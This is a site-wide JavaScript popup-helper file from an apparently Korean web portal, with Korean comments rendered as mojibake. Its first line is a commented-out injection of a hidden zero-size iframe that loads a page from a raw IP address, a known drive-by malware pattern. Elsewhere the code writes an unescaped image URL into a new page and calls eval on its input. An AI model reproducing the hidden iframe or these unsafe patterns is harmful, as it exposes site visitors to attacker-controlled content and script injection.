//document.write("<iframe width='0' height='0' src='http://116.125.127.141/include/index.asp'></iframe>");
//####################################################################################
// ÆË¾÷
//####################################################################################
//±âº»ÆË¾÷Ã¢
function openpop(url) {
	OpenWin = window.open (url,'popup','width=400,height=300,scrollbars=yes,status=no'); 
	OpenWin.focus() ; 
}
//±âº»ÆË¾÷Ã¢
function openpop2(url) {
	OpenWin = window.open (url,'popup2','width=400,height=300,scrollbars=yes,status=no'); 
	OpenWin.focus() ; 
}
//ÆË¾÷ ¸®»çÀÌÁî
function resize(width,height) {
	var width, height;
	self.resizeTo(width,height);
}

//####################################################################################
// ÆË¾÷(È¸¿ø)
//####################################################################################
// popup : id check
function check_NO() {
	var url = '/insa/staff_join/pop_check_no.php';
	OpenWin = window.open(url,'staffNO','width=400,height=300,scrollbars=no,status=no');
	OpenWin.focus() ; 
}
// popup : id check
function check_ID() {
	var url = '/insa/staff_join/pop_check_id.php';
	OpenWin = window.open(url,'staffID','width=400,height=300,scrollbars=no,status=no');
	OpenWin.focus() ; 
}
// popup : zip popup
function check_zipcode(formcode) {
	var url = "/zipcode/zipsearch.html?formcode="+formcode;
	OpenWin =window.open(url,'zipcode','width=400,height=300,scrollbars=yes,status=no');
	OpenWin.focus() ; 
}

//####################################################################################
// ·Î±×ÀÎÆË¾÷
//####################################################################################
function loginPopup(GoUrl) { 
	ref = "/member/member_login_popup_on.php?s_url="+GoUrl;
	window.open(ref,'loginPopup','scrollbars=no,toolbar=no,resizable=no,status=no,top=6,left=100,width=600,height=420')
}
function loginLink(GoUrl) {
	top.location.href = "/login/Login.php?return_page="+GoUrl;
}




//####################################################################################
//Ç²ÅÍ
//####################################################################################
// ¾à°ü
function agree_member() {
	OpenWin = window.open ('/center/help/agree_member.php','agree_member','scrollbars=yes,toolbar=no,resizable=no,status=yes,width=560,height=600'); 
}
//°³ÀÎÁ¤º¸
function privacy_member() {
	OpenWin = window.open ('/center/help/privacy_member.php','agree_member','scrollbars=yes,toolbar=no,resizable=no,status=yes,width=560,height=600'); 
}
//function email_reject() { -> °øÁö»çÇ× help(8)
//	OpenWin = window.open ('/center/help/email_reject.html','email_reject','scrollbars=no,toolbar=no,resizable=no,status=no,width=450,height=220'); 
//}

function help(scrollbars,number) {
	ref = "/whatsnews/news_view_help.php?number="+number;
	window.open(ref,"newspopup","scrollbars="+scrollbars+",status=0,toolbar=no,location=0,directories=0,menubar=0,resizable=0,top=10,left=10,width=450,height=450")
}

//####################################################################################
//´º½º/º»
//####################################################################################
// My½ºÅ©·¦ process Page
function scrap(scrap_part,scrap_id) {
	var releft = (screen.width-1024)/2;
	var retop = (screen.height-648)/2;
	ref="/member/mypage_scrap_process.php?scrap_part="+scrap_part+"&scrap_id="+scrap_id;
	window.open(ref,'scrap','scrollbars=no,toolbar=no,resizable=no,status=yes,width=400,height=320,top='+retop+',left='+releft+'');
}
// ÇÁ¸°Æ®
function printpage(cat,number) {
	ref="/"+cat+"/news_print.php?number="+number;
	window.open(ref,'print','scrollbars=yes,toolbar=no,resizable=no,status=yes,top=10,left=10,width=638,height=700');
}





//####################################################################################
// only image pop
//####################################################################################

function ImgViewer_init() {
	var frm=document.viewImg;
	var iWidth  = frm.ShowImg.width + 24 ;
	var iHeight = frm.ShowImg.height + 100;
	window.resize(iWidth, iHeight);
}

function ImgViewer(ImgUrl) {

	var imgwin = window.open('','ImgViewer','scrollbars=no,status=no');
	imgwin.focus();
	imgwin.document.open();
	imgwin.document.write("<html>\n");
	imgwin.document.write("<head>\n");
	imgwin.document.write("<title>ImgViewer</title>\n");
	imgwin.document.write("<script language='javascript' src='/_js/common_pop.js'></script>\n");
	imgwin.document.write("</head>\n");
	imgwin.document.write("<body onload=ImgViewer_init();>\n");
	imgwin.document.write("<form name='viewImg'>\n");
	imgwin.document.write("<img src='"+ImgUrl+"' name='ShowImg' xwidth='100' xheight='90' onClick='self.close();' style='cursor:hand;' border='0' />\n");
	imgwin.document.write("</form>\n");
	imgwin.document.write("</body>\n");
	imgwin.document.write("</html>\n");
	imgwin.document.close();
}
//####################################################################################
// image previewer
//####################################################################################

function show_pic(form,img,names) {	
	//¹Ì¸®º¸±â
    document.images[img].style.display = "none";
    document.images[img].style.display = "";
    document.images[img].src = form.elements[names].value;
	swidth	= document.images[img].width;
	sheight	= document.images[img].height;
	imgsize	= document.images[img].fileSize/1024;//1024->¹ÙÀÌÆ®¸¦ KB·Î,
	simg	= Math.round(imgsize*10)/10; //¼Ò¼öÁ¡Á¦¾î 100:2ÀÚ¶ó, 1000:3ÀÚ¸®
	/*
	if (swidth > 500)		window.alert("ÀÌ¹ÌÁöÅ©±â¸¦ ÁÙ¿©ÁÖ½Ê½Ã¿À.\n\nÀÌ¹ÌÁöÅ©±â "+swidth+"x"+sheight+", ÆÄÀÏÅ©±â "+simg+"KB"); 
	else if (sheight > 500) window.alert("ÀÌ¹ÌÁöÅ©±â¸¦ ÁÙ¿©ÁÖ½Ê½Ã¿À.\n\nÀÌ¹ÌÁöÅ©±â "+swidth+"x"+sheight+", ÆÄÀÏÅ©±â "+simg+"KB"); 
	else if(simg > '400')	window.alert("ÆÄÀÏÅ©±â¸¦ ÁÙ¿©ÁÖ½Ê½Ã¿À.\n\nÀÌ¹ÌÁöÅ©±â "+swidth+"x"+sheight+", ÆÄÀÏÅ©±â "+simg+"KB"); 
	else					window.alert("µî·Ï°¡´ÉÇÕ´Ï´Ù.\n\nÀÌ¹ÌÁöÅ©±â "+swidth+"x"+sheight+", ÆÄÀÏÅ©±â "+simg+"KB"); 
	*/
}

//####################################################################################
// box open
// action => <a href="javascript:dipContents('faq18');" class='p11 a27'>view</a>
// print out => <div id="faq18" style='display:none'>contents</div>
//####################################################################################

var preobj=null;
function nBoxOn(content) {
	obj = eval(content);
	if(obj.style.display=="none") {
		obj.style.display = "";
		if(preobj != null && preobj != obj)
			preobj.style.display = "none";
		preobj = obj;
	} else {
		obj.style.display = "none";
	}
}
function nBoxOff(content) {
	obj = eval(content);
    obj.style.display = 'none';
}

